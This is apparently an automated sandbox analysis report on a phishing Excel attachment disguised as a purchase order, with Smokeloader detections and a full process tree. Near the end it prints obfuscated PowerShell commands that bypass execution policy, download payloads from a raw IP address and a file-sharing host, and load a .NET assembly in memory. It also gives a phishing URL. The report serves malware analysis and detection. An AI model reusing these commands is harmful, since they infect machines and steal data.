Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_00402686 NtClose,	30_2_00402686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_0040328D GetModuleHandleA,Sleep,MapViewOfFile,LocalAlloc,OpenProcessToken,NtCreateSection,NtMapViewOfSection,NtAllocateVirtualMemory,NtDuplicateObject,NtOpenKey,NtQueryKey,RtlCreateUserThread,wcsstr,towlower,	30_2_0040328D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004030BF RtlCreateUserThread,NtTerminateProcess,	30_2_004030BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 34_2_00403003 RtlCreateUserThread,NtTerminateProcess,	34_2_00403003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 34_2_004030BF RtlCreateUserThread,NtTerminateProcess,	34_2_004030BF
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00124B92 RtlMoveMemory,NtUnmapViewOfSection,	38_2_00124B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_001233C3 NtQueryInformationFile,	38_2_001233C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_0012342B NtQueryObject,NtQueryObject,RtlMoveMemory,	38_2_0012342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_0012349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	38_2_0012349B
Source: C:\Windows\explorer.exe	Code function: 39_2_000638B0 NtUnmapViewOfSection,	39_2_000638B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_00081016 RtlMoveMemory,NtUnmapViewOfSection,	40_2_00081016
Source: C:\Windows\explorer.exe	Code function: 42_2_00065300 RtlAllocateHeap,NtUnmapViewOfSection,	42_2_00065300

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00122198	38_2_00122198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_0012C2F9	38_2_0012C2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_0013B35C	38_2_0013B35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00174438	38_2_00174438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_0013B97E	38_2_0013B97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00126E6A	38_2_00126E6A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 38_2_00145F08	38_2_00145F08
Source: C:\Windows\explorer.exe	Code function: 39_2_00061E20	39_2_00061E20
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_0008170B	40_2_0008170B
Source: C:\Windows\explorer.exe	Code function: 42_2_00062C00	42_2_00062C00

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls

OLE indicator, VBA macros: true

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls	Stream path 'MBD014EF418/\x1Ole' : https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen\}}#n~;\|gF'dc8DcJ0<N4yHJcG0u9fhskHPDdWTv142FCFvX5bxn0OFlqPg1O8XHZJSdIclASVNxB25CYWUPv9FfhHEzyOqunUOYR48diJ4uXddNKO9Lhk65B7brb8K7ss4wczM6JRR4hihVvaps4vZXHqLZiFffh31b9YGh0XBRDICiuRzAh#+U//WHq
Source: D6330000.0.dr	Stream path 'MBD014EF418/\x1Ole' : https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen\}}#n~;\|gF'dc8DcJ0<N4yHJcG0u9fhskHPDdWTv142FCFvX5bxn0OFlqPg1O8XHZJSdIclASVNxB25CYWUPv9FfhHEzyOqunUOYR48diJ4uXddNKO9Lhk65B7brb8K7ss4wczM6JRR4hihVvaps4vZXHqLZiFffh31b9YGh0XBRDICiuRzAh#+U//WHq

Source: ~DF7DC820911769618A.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 00127F70 appears 32 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 00128801 appears 40 times

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2034
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2034
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2034	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2034
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358

Source: 00000022.00000002.567719148.0000000000261000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3836, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winXLS@62/54@11/4

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 40_2_0008274A CreateToolhelp32Snapshot,Process32First,lstrcmpi,Process32Next,CloseHandle,

40_2_0008274A

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_00124440 CoCreateInstance,SysAllocString,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,wsprintfW,

38_2_00124440

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\D6330000

Jump to behavior

Source: C:\Users\user\AppData\Roaming\vtjrhji

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9221.tmp

Jump to behavior

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls	OLE indicator, Workbook stream: true
Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr	OLE indicator, Workbook stream: true
Source: D6330000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.m.......m..............................................................3........Y.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....H.......P.........Y.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................m.......m.....}..w.............................1......(.P..............3......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w............\.......................(.P.....H.......P.......8...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............0(\........l......[.....(.P.....H.......P.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w............\.......................(.P.....H.......P.......8...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............0(\........l......[.....(.P.....H.......P.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.0(\........l......[.....(.P.....H.......P............... .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.e.V.I.c.E.C.r.E.d.e.n.T.i.A.l.d.e.P.l.O.Y.M.E.n.T...e.x.e.H.......P...............@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.H.......P...............@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............0(\........l......[.....(.P.....H.......P.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............0(\........l......[.....(.P.....H.......P...............l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w............0(\........l......[.....(.P.....H.......P.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...m.....}..w.............................1......(.P..............3......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.m.......m.....pY......................pY......xY.......................3......8...............pY..............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....4...............8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................m.......m.....}..w.............................1......(.P..............3......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm......................GT.l....}..w............\.......................(.P.....4...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............X.S......T.l......R.....(.P.....4...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm......................GT.l....}..w............\.......................(.P.....4...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............X.S......T.l......R.....(.P.....4...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.X.S......T.l......R.....(.P.....4....................... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.e.V.I.c.E.C.r.E.d.e.n.T.i.A.l.d.e.P.l.O.Y.M.E.n.T...e.x.e.4.......................@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.4.......................@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............X.S......T.l......R.....(.P.....4...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w............X.S......T.l......R.....(.P.....4.......................l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w............X.S......T.l......R.....(.P.....4...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...m.....}..w.............................1......(.P..............3......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................m.....}..w......m......................1......(.P.....................................................

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls

ReversingLabs: Detection: 27%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2B07.tmp" "c:\Users\user\AppData\Local\Temp\03wlztsz\CSC280AB7AC39534067B2898716E8B346.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = 